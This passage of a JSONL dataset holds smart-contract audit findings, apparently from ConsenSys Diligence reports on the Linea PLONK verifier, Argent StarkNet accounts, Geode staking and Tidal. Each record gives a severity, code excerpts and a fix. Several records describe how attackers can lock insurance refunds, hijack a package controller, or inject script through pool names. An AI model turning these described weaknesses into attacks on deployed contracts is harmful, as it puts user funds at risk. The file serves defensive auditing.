a₁*u = a₀^{-1}\r\n* a₀^{-1} = u\r\n```\r\n\r\nHowever, it doesn't account for the fact that elements passed to the function can be 0 as well. The reason is, 𝜁 can be a root of unity. Since the function first calculates an aggregated inverse, thus even if a single element is 0, the aggregated inverse will be 0, and thus all the individual inverses will be 0, which is contrary to the desired logic of finding individual inverses.\r\n\r\n#### Recommendation\r\nConsider fixing the computation as per the recommendations in 22 ","dataSource":{"name":"/diligence/audits/2023/06/linea-plonk-verifier/","repo":"https://consensys.net//diligence/audits/2023/06/linea-plonk-verifier/","url":"https://consensys.net//diligence/audits/2023/06/linea-plonk-verifier/"}} +{"title":"Unused State Fields","severity":"minor","body":"#### Description\r\n\r\nThere are three `state` fields which exist but are neither defined nor used in the computation:\r\n\r\n- `state_su` and `state_sv`\r\n- `state_alpha_square_lagrange_one`\r\n\r\nIt is unclear whether or not these were intended to play a part or not.\r\n\r\n#### Examples\r\n\r\n\n**contracts/Verifier.sol:L138-L140**\n```solidity\n// challenges related to KZG\nuint256 constant state_sv = 0x80;\nuint256 constant state_su = 0xa0;\n```\n\r\n\n**contracts/Verifier.sol:L166**\n```solidity\nuint256 constant state_alpha_square_lagrange_one = 0x200;\n```\n\r\n\r\n\r\n#### Recommendation\r\n\r\n\r\n","dataSource":{"name":"/diligence/audits/2023/06/linea-plonk-verifier/","repo":"https://consensys.net//diligence/audits/2023/06/linea-plonk-verifier/","url":"https://consensys.net//diligence/audits/2023/06/linea-plonk-verifier/"}} +{"title":"Overwritten Assignment to `state_success`","severity":"minor","body":"#### Description\r\n\r\nIn the function `verify_quotient_poly_eval_at_zeta(aproof)` we have the following two lines at the end:\r\n\r\n```Solidity\r\nmstore(add(state, state_success), mload(computed_quotient))\r\nmstore(add(state, state_success),eq(mload(computed_quotient), mload(s2)))\r\n```\r\nIn essence, this is writing to the `state_success` variable twice and, hence, the first assignment is lost. Its unclear to me what exactly was intended here, but I'm assuming the first assignment can be removed.\r\n\r\n#### Examples\r\n\r\n\r\n\r\n#### Recommendation\r\n\r\nDetermine the correct course of action: either removing the first assignment, or using an `and()` to combine the two values together.\r\n","dataSource":{"name":"/diligence/audits/2023/06/linea-plonk-verifier/","repo":"https://consensys.net//diligence/audits/2023/06/linea-plonk-verifier/","url":"https://consensys.net//diligence/audits/2023/06/linea-plonk-verifier/"}} +{"title":"PlonkVerifier.abi Is Out of Sync","severity":"minor","body":"#### Description\r\nRunning `make solc` creates a PlonkVerifier.abi file that is empty (`[]`). This seems correct for the existing Verifier.sol file. \r\nIn contrast, the committed PlonkVerifier.abi refers to a function `PrintUint256` that is not in the current Verifier.sol. \r\n\r\nThis probably means that the committed PlonkVerifier.abi was generated from a different Verifier.sol file. It would be good to make sure that the committed files are correct.\r\n\r\nPossibly related: the .bin files generated (using `0.8.19+commit.7dd6d404.Darwin.appleclang`) are different from the committed ones, so they probably are also out of sync. Else, the exact compiler used should be documented.\r\n\r\n#### Examples\r\n\r\n\r\n\r\n#### Recommendation\r\n\r\nDocument the compiler used. \r\nEnsure that the committed files are consistent. \r\nEnsure that there is a single source of truth (1 solidity file + compiler is better than 1 solidity file + 1 bin file that can get out of sync).\r\n","dataSource":{"name":"/diligence/audits/2023/06/linea-plonk-verifier/","repo":"https://consensys.net//diligence/audits/2023/06/linea-plonk-verifier/","url":"https://consensys.net//diligence/audits/2023/06/linea-plonk-verifier/"}} +{"title":"Makefile: Target Order","severity":"minor","body":"#### Description\r\nThe target `all` in the Makefile ostensibly wants to run the targets `clean` and `solc` in that order.\r\n```Makefile\r\nall: clean solc\r\n```\r\nHowever prerequisites in GNU Make are not ordered, and they might even run in parallel. In this case, this could cause spurious behavior like overwrite errors or files being deleted just after being created.\r\n\r\n#### Recommendation\r\nThe Make way to ensure that targets run one after the other is\r\n```Makefile\r\nall: clean\r\n\t$(MAKE) solc\r\n```\r\nAlso `all` should be listed in the PHONY targets.\r\n\r\n","dataSource":{"name":"/diligence/audits/2023/06/linea-plonk-verifier/","repo":"https://consensys.net//diligence/audits/2023/06/linea-plonk-verifier/","url":"https://consensys.net//diligence/audits/2023/06/linea-plonk-verifier/"}} +{"title":"Floating Pragma","severity":null,"body":"#### Description\r\nThe Verifier can be compiled with any minor version of compiler `0.8`. It may lead to inconsistent behavior or produce unintended results, due to the bugs that have been identified in specific compiler versions. For instance, [an optimizer bug](https://blog.soliditylang.org/2022/06/15/inline-assembly-memory-side-effects-bug/) that was discovered in 0.8.13, which effects unused memory/storage writes in an inline assembly block, which is similar to the pattern being followed by the Verifier. Although, we have not observed a negative effect of the said bug, but we still recommend working with a fixed compiler version, to avoid potential compiler-specific issues.\r\n\r\n\n**contracts/Verifier.sol:L17**\n```solidity\npragma solidity ^0.8.0;\n```\n\r\n#### Recommendation\r\nThe contract should be tested and compiled with a fixed compiler version","dataSource":{"name":"/diligence/audits/2023/06/linea-plonk-verifier/","repo":"https://consensys.net//diligence/audits/2023/06/linea-plonk-verifier/","url":"https://consensys.net//diligence/audits/2023/06/linea-plonk-verifier/"}} +{"title":"Deviation in Implementation From the Intended Approach/Plonk Paper & Other General Observations","severity":null,"body":"#### Description\r\nWe have observed some deviations in the implementation in some computations w.r.t the intended approach described by the author and also with the [Plonk Paper](https://eprint.iacr.org/archive/2019/953/1624533038.pdf). We have also observed some computations which require a thorough lookup\r\n\r\n1- Function `compute_gamma_kzg` defines the process to derive an unpredictable value gamma with the following inputs mentioned by the authors\r\n```\r\nThe process for deriving γ is the same as in derive_gamma but this time the inputs are\r\nin this order (the [] means it's a commitment):\r\n* ζ\r\n* [H] ( = H₁ + ζᵐ⁺²*H₂ + ζ²⁽ᵐ⁺²⁾*H₃ )\r\n* [Linearised polynomial]\r\n* [L], [R], [O]\r\n* [S₁] [S₂]\r\n* [Pi_{i}] (wires associated with custom gates)\r\nThen there are the purported evaluations of the previously committed polynomials:\r\n* H(ζ)\r\n* Linearised_polynomial(ζ)\r\n* L(ζ), R(ζ), O(ζ), S₁(ζ), S₂(ζ)\r\n* Pi_{i}(ζ)\r\n```\r\n\r\nHowever, instead of using [Pii] and Pii(ζ), i.e., commitments to the custom gates' wire values and their evaluations at ζ, the function uses [Qci] and Qci(ζ), which are the commitments to the custom gates' selectors and their evaluations at ζ\r\n\r\n\n**contracts/Verifier.sol:L669-L671**\n```solidity\nmstore(add(mPtr,offset), vk_selector_commitments_commit_api_0_x)\nmstore(add(mPtr,add(offset, 0x20)), vk_selector_commitments_commit_api_0_y)\noffset := add(offset, 0x40)\n```\n\r\n2- Approach to compute linearized polynomial\r\n```\r\nCompute the commitment to the linearized polynomial equal to\r\nL(ζ)[Qₗ]+r(ζ)[Qᵣ]+R(ζ)L(ζ)[Qₘ]+O(ζ)[Qₒ]+[Qₖ]+Σᵢqc'ᵢ(ζ)[BsbCommitmentᵢ] +\r\nα*( Z(μζ)(L(ζ)+β*S₁(ζ)+γ)*(R(ζ)+β*S₂(ζ)+γ)[S₃]-[Z](L(ζ)+β*id_{1}(ζ)+γ)*(R(ζ)+β*id_{2(ζ)+γ)*(O(ζ)+β*id_{3}(ζ)+γ) ) +\r\nα²*L₁(ζ)[Z]\r\n```\r\nUnlike the other assignment polynomials, where the input polynomial evaluation at ζ is multiplied by its respective selector commitment,\r\nFor instance:\r\nL(ζ)[Ql]\r\n\r\nIn the case of custom gates, it is being computed in reverse as:\r\nQci(ζ)[Pii]\r\n\r\n\n**contracts/Verifier.sol:L726-L735**\n```solidity\nlet commits_api_at_zeta := add(aproof, proof_openings_selector_commit_api_at_zeta)\nlet commits_api := add(aproof, add(proof_openings_selector_commit_api_at_zeta, mul(vk_nb_commitments_commit_api, 0x20)))\nfor {let i:=0} lt(i, vk_nb_commitments_commit_api) {i:=add(i,1)}\n{\n mstore(mPtr, mload(commits_api))\n mstore(add(mPtr, 0x20), mload(add(commits_api, 0x20)))\n point_acc_mul(l_state_linearised_polynomial,mPtr,mload(commits_api_at_zeta),add(mPtr,0x40))\n commits_api_at_zeta := add(commits_api_at_zeta, 0x20)\n commits_api := add(commits_api, 0x40)\n}\n```\n\r\n3- Approach to compute linearized polynomial and quotient polynomial evaluation at zeta\r\n \r\nThe signs for the parts of the expressions to compute r̄ are reversed, if compared with the plonk paper\r\n ```\r\n* s₁ = α*Z(μζ)(l(ζ)+β*s₁(ζ)+γ)*(r(ζ)+β*s₂(ζ)+γ)*β\r\n* s₂ = -α*(l(ζ)+β*ζ+γ)*(r(ζ)+β*u*ζ+γ)*(o(ζ)+β*u²*ζ+γ) + α²*L₁(ζ)\r\n ```\r\n And the sign for the term in t¯ computation has been reversed as well:\r\nαz¯w(l¯+βs¯σ1+γ)(r¯+βs¯σ2+γ)(o¯+γ)\r\n\r\n\n**contracts/Verifier.sol:L832**\n```solidity\nmstore(computed_quotient, addmod(mload(computed_quotient), mload(s1), r_mod))\n```\n\r\n\n**contracts/Verifier.sol:L782**\n```solidity\ns2 := sub(r_mod, s2)\n```\n#### Recommendation\r\n\r\nThere is a need to thoroughly review the highlighted code sections","dataSource":{"name":"/diligence/audits/2023/06/linea-plonk-verifier/","repo":"https://consensys.net//diligence/audits/2023/06/linea-plonk-verifier/","url":"https://consensys.net//diligence/audits/2023/06/linea-plonk-verifier/"}} +{"title":"Proof Size Can Be Reduced by Removing Linearization Polynomial Evaluation at Zeta","severity":null,"body":"#### Description\r\nThe Linearization Polynomial evaluation at zeta (r¯) can be removed from the proof as the verifier computes the Linearization Polynomial anyways. The Verifier's algorithm in the latest release of the [plonk paper](https://eprint.iacr.org/2019/953.pdf) has also been updated, considering the same.\r\nHowever, it might require changing/adjusting a lot of code sections, hence it is not recommended for the current version of the verifier but definitely can be considered for future updates.","dataSource":{"name":"/diligence/audits/2023/06/linea-plonk-verifier/","repo":"https://consensys.net//diligence/audits/2023/06/linea-plonk-verifier/","url":"https://consensys.net//diligence/audits/2023/06/linea-plonk-verifier/"}} +{"title":"Unnecessary Memory Read/Write Operations","severity":null,"body":"#### Description\r\nFunction [`verify_quotient_poly_eval_at_zeta`](Verifier.sol#L801-L838) tries to find whether\r\nm¯+PI(ζ)+αz¯w(l¯+βs¯σ1+γ)(r¯+βs¯σ2+γ)(o¯+γ)−L1(ζ)α2 is equal to t¯ZH(ζ) or not, where x¯=x(ζ) and m¯ is the linearization polynomial evaluation at ζ\r\n\r\nHowever, instead of directly working with local assembly variables, the function uses memory operations `mload` and `mstore` which is unnecessary and adds gas overhead for the calculations. \r\n\r\nFor instance,\r\n```\r\n# With memory\r\n\r\nlet s1 := add(mload(0x40), state_last_mem)\r\nmstore(s1, mulmod(mload(add(aproof,proof_s1_at_zeta)),mload(add(state, state_beta)), r_mod))\r\nmstore(s1, addmod(mload(s1), mload(add(state, state_gamma)), r_mod))\r\nmstore(s1, addmod(mload(s1), mload(add(aproof, proof_l_at_zeta)), r_mod))\r\n\r\n# Without memory\r\n\r\nlet s1 := mulmod(mload(add(aproof,proof_s1_at_zeta)),mload(add(state, state_beta)), r_mod)\r\ns1:= addmod(s1, mload(add(state, state_gamma)), r_mod)\r\ns1:= addmod(s1, mload(add(aproof, proof_l_at_zeta)), r_mod)\r\n```\r\n\r\nAlso, the function stores the computed quotient at the memory location of `state_success` as:\r\n```\r\nmstore(add(state, state_success), mload(computed_quotient))\r\n```\r\nIt is unnecessary as it is logically reserved for the calculation results, and also because of the next line which is actually storing the desired comparison result.\r\n\r\n```\r\nmstore(add(state, state_success),eq(mload(computed_quotient), mload(s2)))\r\n```\r\n\r\n\r\n#### Recommendation\r\nThe same calculations can be achieved by simply using the local assembly variables. Also, the unnecessary memory written to `state_success` for `computed_quotient` mentioned above can be removed.","dataSource":{"name":"/diligence/audits/2023/06/linea-plonk-verifier/","repo":"https://consensys.net//diligence/audits/2023/06/linea-plonk-verifier/","url":"https://consensys.net//diligence/audits/2023/06/linea-plonk-verifier/"}} +{"title":"Unused Evaluation of Z(x)-1 at Zeta","severity":null,"body":"#### Description\r\n\r\nThe solidity variable `zeta_power_n_minus_one` is defined at Line 361, and calculated at Lines 445 and 446. However, this variable does not appear to be actually used anywhere. Instead, there are several places where the value is recalculated from scratch.\r\n\r\n#### Examples\r\n\r\n\n**contracts/Verifier.sol:L361**\n```solidity\nuint256 zeta_power_n_minus_one;\n```\n\r\n\n**contracts/Verifier.sol:L445-L446**\n```solidity\nzeta_power_n_minus_one := pow(zeta, vk_domain_size, mload(0x40))\nzeta_power_n_minus_one := addmod(zeta_power_n_minus_one, sub(r_mod, 1), r_mod)\n```\n\r\n\r\n\r\n#### Recommendation\r\n\r\nPresumably, this variable can be removed without any consequences.\r\n\r\n","dataSource":{"name":"/diligence/audits/2023/06/linea-plonk-verifier/","repo":"https://consensys.net//diligence/audits/2023/06/linea-plonk-verifier/","url":"https://consensys.net//diligence/audits/2023/06/linea-plonk-verifier/"}} +{"title":"Spurious Debugging Code","severity":null,"body":"#### Description\r\n\r\nThere are two examples of debugging code left within the code base.\r\n\r\n#### Examples\r\n\r\n```Solidity\r\ncheck := mload(add(mem, state_check_var))\r\n```\r\n```Solidity\r\nmstore(add(state, state_check_var), acc_gamma)\r\n```\r\n```Solidity\r\nmstore(add(state, state_check_var), mload(add(folded_quotients, 0x20)))\r\n```\r\n\r\n\r\n#### Recommendation\r\n\r\nRemove debugging code prior to deployment.\r\n\r\n\r\n","dataSource":{"name":"/diligence/audits/2023/06/linea-plonk-verifier/","repo":"https://consensys.net//diligence/audits/2023/06/linea-plonk-verifier/","url":"https://consensys.net//diligence/audits/2023/06/linea-plonk-verifier/"}} +{"title":"Utils - Possible Code Improvements","severity":null,"body":"#### Descriptions and Recommendations\r\n\r\nThe contract defines function `hash_fr` to calculate field elements over finite field F from message hash, expanded with `expand_msg`. However, we found opportunities for a couple of code improvements that may enhance code readability.\r\n\r\nA. The following code excerpt prepends a byte string of 64 zeroes for the padding `Z_pad`\r\n\r\n\n**contracts/Utils.sol:L39-L41**\n```solidity\nfor (uint i=0; i<64; i++){\n tmp = abi.encodePacked(tmp, zero);\n}\n```\n\r\nHowever, as it is a static value and need not be calculated dynamically, it can be simplified by predefining it as an initial value for `tmp` as:\r\n\r\n`bytes memory tmp = hex'00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000';`\r\n\r\nB. The following code excerpt performs a **xor** operation with **b0** and **b1** bytes32 hash strings in a for a loop.\r\n\r\n\n**contracts/Utils.sol:L51-L56**\n```solidity\ntmp = abi.encodePacked(uint8(b0[0]) ^ uint8(b1[0]));\nfor (uint i=1; i<32; i++){\n tmp = abi.encodePacked(tmp, uint8(b0[i]) ^ uint8(b1[i]));\n}\n\ntmp = abi.encodePacked(tmp, uint8(2), dst, sizeDomain);\n```\n\r\nInstead of performing **xor** operation byte-by-byte, solidity provides the capability to **xor** the whole fixed byte string at once, hence it can be simplified as:\r\n\r\n```\r\nbytes32 xorTmp = b0 ^ b1;\r\ntmp = abi.encodePacked(xorTmp, uint8(2), dst, sizeDomain);\r\n```","dataSource":{"name":"/diligence/audits/2023/06/linea-plonk-verifier/","repo":"https://consensys.net//diligence/audits/2023/06/linea-plonk-verifier/","url":"https://consensys.net//diligence/audits/2023/06/linea-plonk-verifier/"}} {"title":"Inconsistency Between Actual `IAccount` Interface and Published Interface ID","severity":"medium","body":"#### Description\r\n\r\nAs an analog to Ethereum Improvement Proposals (EIPs), there are StarkNet Improvement Proposals (SNIPs), and SNIP-5 – similar in intention and technique to ERC-165 – defines how to publish and detect what interfaces a smart contract implements. As in ERC-165, this is achieved with the help of an _interface identifier_.\r\n\r\nSpecifically, this ID is defined as the XOR of the \"extended function selectors\" in the interface. While not going into all the details here, a function's extended selector is the `starknet_keccak` hash of its signature, where some special rules define how to deal with the different data types. The details can be found in the proposal. Compliant contracts implement a `supports_interface` function that takes a `felt252` and returns `true` if the contract implements the interface with this ID and `false` otherwise. For example, `argent_account.cairo` defines the following `supports_interface` function:\r\n\r\n\n**contracts/account/src/argent_account.cairo:L506-L522**\n```solidity\nfn supports_interface(self: @ContractState, interface_id: felt252) -> bool {\n if interface_id == ERC165_IERC165_INTERFACE_ID {\n true\n } else if interface_id == ERC165_ACCOUNT_INTERFACE_ID {\n true\n } else if interface_id == ERC165_OUTSIDE_EXECUTION_INTERFACE_ID {\n true\n } else if interface_id == ERC165_IERC165_INTERFACE_ID_OLD {\n true\n } else if interface_id == ERC165_ACCOUNT_INTERFACE_ID_OLD_1 {\n true\n } else if interface_id == ERC165_ACCOUNT_INTERFACE_ID_OLD_2 {\n true\n } else {\n false\n }\n}\n```\n\r\nIn this issue, we're interested in `ERC165_ACCOUNT_INTERFACE_ID`, which is defined as follows:\r\n\r\n\n**contracts/lib/src/account.cairo:L3-L4**\n```solidity\nconst ERC165_ACCOUNT_INTERFACE_ID: felt252 =\n 0x32a450d0828523e159d5faa1f8bc3c94c05c819aeb09ec5527cd8795b5b5067;\n```\n\r\nThis ID corresponds to an interface with the following function signatures:\r\n\r\n```solidity\r\n fn __validate__(Array) -> felt252;\r\n fn __execute__(Array) -> Array>;\r\n fn is_valid_signature(felt252, Array) -> bool;\r\n```\r\n\r\nNote that `is_valid_signature` returns a `bool`. However, in the actual `IAccount` interface, this function returns a `felt252`:\r\n\r\n\n**contracts/lib/src/account.cairo:L10-L17**\n```solidity\n// InterfaceID: 0x32a450d0828523e159d5faa1f8bc3c94c05c819aeb09ec5527cd8795b5b5067\ntrait IAccount {\n fn __validate__(ref self: TContractState, calls: Array) -> felt252;\n fn __execute__(ref self: TContractState, calls: Array) -> Array>;\n fn is_valid_signature(\n self: @TContractState, hash: felt252, signatures: Array\n ) -> felt252;\n}\n```\n\r\nIf we check out the implementation of `is_valid_signature`, we see that it returns the magic value `0x1626ba7e` known from ERC-1271 if the signature is valid and `0` otherwise:\r\n\r\n\n**contracts/account/src/argent_account.cairo:L214-L222**\n```solidity\nfn is_valid_signature(\n self: @ContractState, hash: felt252, signatures: Array\n) -> felt252 {\n if self.is_valid_span_signature(hash, signatures.span()) {\n ERC1271_VALIDATED\n } else {\n 0\n }\n}\n```\n\n**contracts/lib/src/account.cairo:L8**\n```solidity\nconst ERC1271_VALIDATED: felt252 = 0x1626ba7e;\n```\n\r\nThe ID for this interface would be `0x2ceccef7f994940b3962a6c67e0ba4fcd37df7d131417c604f91e03caecc1cd`. Note that, unlike in ERC-165, in SNIP-5, the return type of a function does matter for the interface identifier. Hence, the actual `IAccount` interface defined and implemented and the published interface ID do not match.\r\n\r\n#### Recommendation\r\n\r\nAt the end of this engagement, the community has not come to a decision yet whether `is_valid_signature` should return a `bool` or a `felt252` (i.e., the magic value `0x1626ba7e` in the affirmative case and `0` otherwise). Depending on the outcome, either the actual interface and its implementation or the published interface ID must be changed to achieve consistency between the two.\r\n\r\n#### Remark\r\n\r\nSNIP-5 is not very clear on how to deal with the new Cairo syntax introduced in v2.0.0 of the compiler. Specifically, with this new syntax, interface traits have a generic parameter `TContractState`, and all non-static functions in the interface have a first parameter `self` of type `TContractState` or `@TContractState` for `view` functions. How to deal with this parameter in the derivation of the interface identifier is not (yet) explicitly specified in the proposal, but the Argent team has assured us that the understanding in the community is to ignore this parameter for the extended function selectors and hence the interface ID.","dataSource":{"name":"/diligence/audits/2023/06/argent-account-multisig-for-starknet/","repo":"https://consensys.net//diligence/audits/2023/06/argent-account-multisig-for-starknet/","url":"https://consensys.net//diligence/audits/2023/06/argent-account-multisig-for-starknet/"}} {"title":"Wrong ID for `OutsideExecution` Interface","severity":"medium","body":"#### Description\r\n\r\nWhile not standardized across the community, the Argent team has decided to isolate the \"outside execution\" functionality in a separate interface, so other teams in the ecosystem can choose to implement that interface as well.\r\n\r\n\n**contracts/lib/src/outside_execution.cairo:L10-L29**\n```solidity\n/// Interface ID: 0x3a8eb057036a72671e68e4bad061bbf5740d19351298b5e2960d72d76d34cb9\n// get_outside_execution_message_hash is not part of the standard interface\n#[starknet::interface]\ntrait IOutsideExecution {\n /// @notice This method allows anyone to submit a transaction on behalf of the account as long as they have the relevant signatures\n /// @param outside_execution The parameters of the transaction to execute\n /// @param signature A valid signature on the Eip712 message encoding of `outside_execution`\n /// @notice This method allows reentrancy. A call to `__execute__` or `execute_from_outside` can trigger another nested transaction to `execute_from_outside`.\n fn execute_from_outside(\n ref self: TContractState, outside_execution: OutsideExecution, signature: Array\n ) -> Array>;\n\n /// Get the status of a given nonce, true if the nonce is available to use\n fn is_valid_outside_execution_nonce(self: @TContractState, nonce: felt252) -> bool;\n\n /// Get the message hash for some `OutsideExecution` following Eip712. Can be used to know what needs to be signed\n fn get_outside_execution_message_hash(\n self: @TContractState, outside_execution: OutsideExecution\n ) -> felt252;\n}\n```\n\r\nSNIP-5 – as already mentioned in 6 – is a StarkNet Improvement Proposal that describes how to publish and detect what interfaces a contract implements. To briefly summarize, the interface ID is defined as the XOR of the extended selectors of the functions in the interface, and a function's extended selector is the `starknet_keccak` hash of the function signature, where some special rules define how to deal with the different data types. Deriving the input for `starknet_keccak` can be done manually, but it is tedious, error-prone, and can even be somewhat involved, as it may require knowledge of some Cairo internals, depending on the types used in the function.\r\n\r\nWhen we tried to verify the ID for the `OutsideExecution` interface, we noticed a mismatch between the result of our own calculations and the ID the Argent team had arrived at:\r\n\r\n\n**contracts/lib/src/outside_execution.cairo:L7-L8**\n```solidity\nconst ERC165_OUTSIDE_EXECUTION_INTERFACE_ID: felt252 =\n 0x3a8eb057036a72671e68e4bad061bbf5740d19351298b5e2960d72d76d34cb9;\n```\n\r\nTogether with the client, we were able to identify a mistake that was made in the manual derivation of the input to the hash function, leading to a wrong extended function selector and, therefore, an incorrect interface identifier.\r\n\r\n The correct extended function selector for `execute_from_outside` is:\r\n```\r\nstarknet_keccak(\r\n 'execute_from_outside(\r\n (ContractAddress,felt252,u64,u64,(@Array<(ContractAddress,felt252,Array)>)),\r\n Array\r\n )->Array<(@Array)>'\r\n) = 0x3c6e798a947887809ab7c506818dac2e3632acafa20cb51d2fff56b3577dc75\r\n```\r\n(The line breaks were only inserted for better readability in this document. The string does not contain any whitespace.)\r\n\r\n#### Recommendation\r\n\r\nTogether with the extended function selector for `is_valid_outside_execution_nonce`, `0x3ae284922d559e87220df9c5a51dae59c391ce8f3b4fabb572275e210299df4`, the resulting interface ID for `OutsideExecution` is `0x68cfd18b92d1907b8ba3cc324900277f5a3622099431ea85dd8089255e4181`, and the definition of `ERC165_OUTSIDE_EXECUTION_INTERFACE_ID` should be changed accordingly.\r\n\r\nNote that the Argent team has deliberately omitted `get_outside_execution_message_hash` from the interface (in the sense of SNIP-5).","dataSource":{"name":"/diligence/audits/2023/06/argent-account-multisig-for-starknet/","repo":"https://consensys.net//diligence/audits/2023/06/argent-account-multisig-for-starknet/","url":"https://consensys.net//diligence/audits/2023/06/argent-account-multisig-for-starknet/"}} {"title":"`change_owner` Selector Test Missing","severity":null,"body":"#### Description\r\n\r\nThe Argent Account contract employs many hard-coded constants in its logic, for example for the function selectors. Consequently, there is a test for each one of these selectors.\r\nAlthough the tests were not in scope for this audit, we noticed that one selector test is missing – the `change_owner` selector with value `658036363289841962501247229249022783727527757834043681434485756469236076608`.\r\n\r\n\n**contracts/account/src/argent_account.cairo:L46-L47**\n```solidity\nconst CHANGE_OWNER_SELECTOR: felt252 =\n 658036363289841962501247229249022783727527757834043681434485756469236076608; // starknet_keccak('change_owner')\n```\n\n**contracts/account/src/tests/test_argent_account.cairo:L222**\n```solidity\nfn test_selectors() {\n```\n\r\n#### Recommendation\r\n\r\nAdd the test for the `change_owner` selector.","dataSource":{"name":"/diligence/audits/2023/06/argent-account-multisig-for-starknet/","repo":"https://consensys.net//diligence/audits/2023/06/argent-account-multisig-for-starknet/","url":"https://consensys.net//diligence/audits/2023/06/argent-account-multisig-for-starknet/"}} @@ -1193,28 +1247,28 @@ {"title":"A Potential Controller Update Issue.","severity":"minor","body":"We identified a potential issue in the code that is out of our current scope. In the `GeodeModuleLib`, there is a function that allows a controller of any ID to update the controller address:\r\n\r\n\n**contracts/Portal/modules/GeodeModule/libs/GeodeModuleLib.sol:L299-L309**\n```solidity\nfunction changeIdCONTROLLER(\n DSML.IsolatedStorage storage DATASTORE,\n uint256 id,\n address newCONTROLLER\n) external onlyController(DATASTORE, id) {\n require(newCONTROLLER != address(0), \"GML:CONTROLLER can not be zero\");\n\n DATASTORE.writeAddress(id, rks.CONTROLLER, newCONTROLLER);\n\n emit ControllerChanged(id, newCONTROLLER);\n}\n```\n\r\nIt's becoming tricky with the upgradability mechanism. The current version of any package is stored in the following format: `DATASTORE.readAddress(versionId, rks. CONTROLLER)`. So the address of the current implementation of any package is stored as `rks.CONTROLLER`. That means if someone can hack the implementation address and make a transaction on its behalf to change the controller, this attacker can change the current implementation to a malicious one.\r\n\r\nWhile this issue may not be exploitable now, many new packages are still to be implemented. So you need to ensure that nobody can get any control over the implementation contract.","dataSource":{"name":"/diligence/audits/2023/05/geode-liquid-staking/","repo":"https://consensys.net//diligence/audits/2023/05/geode-liquid-staking/","url":"https://consensys.net//diligence/audits/2023/05/geode-liquid-staking/"}} {"title":"The Price Change Limit Could Prevent the Setting of the Correct Price.","severity":"minor","body":"In the share price update logic of OracleExtensionLib, there is a function called `sanityCheck`. As part of that function, a maximum share price change is checked. In reality, for smaller pools, this can result in an inability to update prices. For example, if the pool was serviced by a single node operator who gets severely slashed, the price being reported by the oracle could easily be more different than the maximum threshold. In this case, the pool would operate at the incorrect price for about 24 hours. Given that we do not have the whole code base in the scope and that some part of the codebase is not complete we can not estimate the risk of such an event. We believe that the Withdrawal Module could be one of the affected modules in such a case.","dataSource":{"name":"/diligence/audits/2023/05/geode-liquid-staking/","repo":"https://consensys.net//diligence/audits/2023/05/geode-liquid-staking/","url":"https://consensys.net//diligence/audits/2023/05/geode-liquid-staking/"}} {"title":"Potential for a Cross-Site-Scripting When Creating a Pool.","severity":"minor","body":"When creating a new staking pool, the creator has the ability to name it. While it does not present many issues on the chain, if this name is ever displayed on the UI it has to be handled carefully. An attacker could include a malicious script in the `name` and that could potentially be executed in the victim's browser. \r\n\r\n\n**contracts/Portal/modules/StakeModule/libs/StakeModuleLib.sol:L358**\n```solidity\nDATASTORE.writeBytes(poolId, rks.NAME, name);\n```\n\r\nWe suggest that proper escaping is used when displaying the names of the pool on the UI. We do not recommend adding string validation on the chain.","dataSource":{"name":"/diligence/audits/2023/05/geode-liquid-staking/","repo":"https://consensys.net//diligence/audits/2023/05/geode-liquid-staking/","url":"https://consensys.net//diligence/audits/2023/05/geode-liquid-staking/"}} -{"title":"`addPremium` – A back runner may cause an insurance holder to lose their refunds by calling `addPremium` right after the original call","severity":"critical","body":"#### Description\r\n\r\n`addPremium` is a public function that can be called by anyone and that distributes the weekly premium payments to the pool manager and the rest of the pool share holders. If the collateral deposited is not enough to cover the total coverage offered to insurance holders for a given week, refunds are allocated pro rata for all insurance holders of that particular week and policy. However, in the current implementation, attackers can call `addPremium` right after the original call to `addPremium` but before the call to `refund`; this will cause the insurance holders to lose their refunds, which will be effectively locked forever in the contract (unless the contract is upgraded).\r\n\r\n#### Examples\r\n\r\n\n**code/contracts/Pool.sol:L313-L314**\n```solidity\nrefundMap[policyIndex_][week] = incomeMap[policyIndex_][week].mul(\n allCovered.sub(maximumToCover)).div(allCovered);\n```\n\r\n#### Recommendation\r\n\r\n`addPremium` should contain a validation check in the beginning of the function that reverts for the case of `incomeMap[policyIndex_][week] = 0`.","dataSource":{"name":"/diligence/audits/2023/05/tidal/","repo":"https://consensys.net//diligence/audits/2023/05/tidal/","url":"https://consensys.net//diligence/audits/2023/05/tidal/"}} -{"title":"`refund` – attacker can lock insurance holder's refunds by calling `refund` before a refund was allocated","severity":"critical","body":"#### Description\r\n\r\n`addPremium` is used to determine the refund amount that an insurance holder is eligible to claim. The amount is stored in the `refundMap` mapping and can then later be claimed by anyone on behalf of an insurance holder by calling `refund`. The `refund` function can't be called more than once for a given combination of `policyIndex_`, `week_`, and `who_`, as it would revert with an \"Already refunded\" error. This gives an attacker the opportunity to call `refund` on behalf of any insurance holder with value 0 inside the `refundMap`, causing any future refund allocated for that holder in a given week and for a given policy to be locked forever in the contract (unless the contract is upgraded).\r\n\r\n#### Examples\r\n\r\n\n**code/contracts/Pool.sol:L341-L367**\n```solidity\nfunction refund(\n uint256 policyIndex_,\n uint256 week_,\n address who_\n) external noReenter {\n Coverage storage coverage = coverageMap[policyIndex_][week_][who_];\n\n require(!coverage.refunded, \"Already refunded\");\n\n uint256 allCovered = coveredMap[policyIndex_][week_];\n uint256 amountToRefund = refundMap[policyIndex_][week_].mul(\n coverage.amount).div(allCovered);\n coverage.amount = coverage.amount.mul(\n coverage.premium.sub(amountToRefund)).div(coverage.premium);\n coverage.refunded = true;\n\n IERC20(baseToken).safeTransfer(who_, amountToRefund);\n\n if (eventAggregator != address(0)) {\n IEventAggregator(eventAggregator).refund(\n policyIndex_,\n week_,\n who_,\n amountToRefund\n );\n }\n}\n```\n\r\n#### Recommendation\r\n\r\nThere should be a validation check at the beginning of the function that reverts if `refundMap[policyIndex_][week_] == 0`.\r\n","dataSource":{"name":"/diligence/audits/2023/05/tidal/","repo":"https://consensys.net//diligence/audits/2023/05/tidal/","url":"https://consensys.net//diligence/audits/2023/05/tidal/"}} -{"title":"`addTidal`, `_updateUserTidal`, `withdrawTidal` – wrong arithmetic calculations","severity":"critical","body":"#### Description\r\n\r\nTo further incentivize sellers, anyone – although it will usually be the pool manager – can send an arbitrary amount of the Tidal token to a pool, which is then supposed to be distributed proportionally among the share owners. There are several flaws in the calculations that implement this mechanism:\r\n\r\nA. `addTidal`:\r\n\r\n\n**code/contracts/Pool.sol:L543-L544**\n```solidity\npoolInfo.accTidalPerShare = poolInfo.accTidalPerShare.add(\n 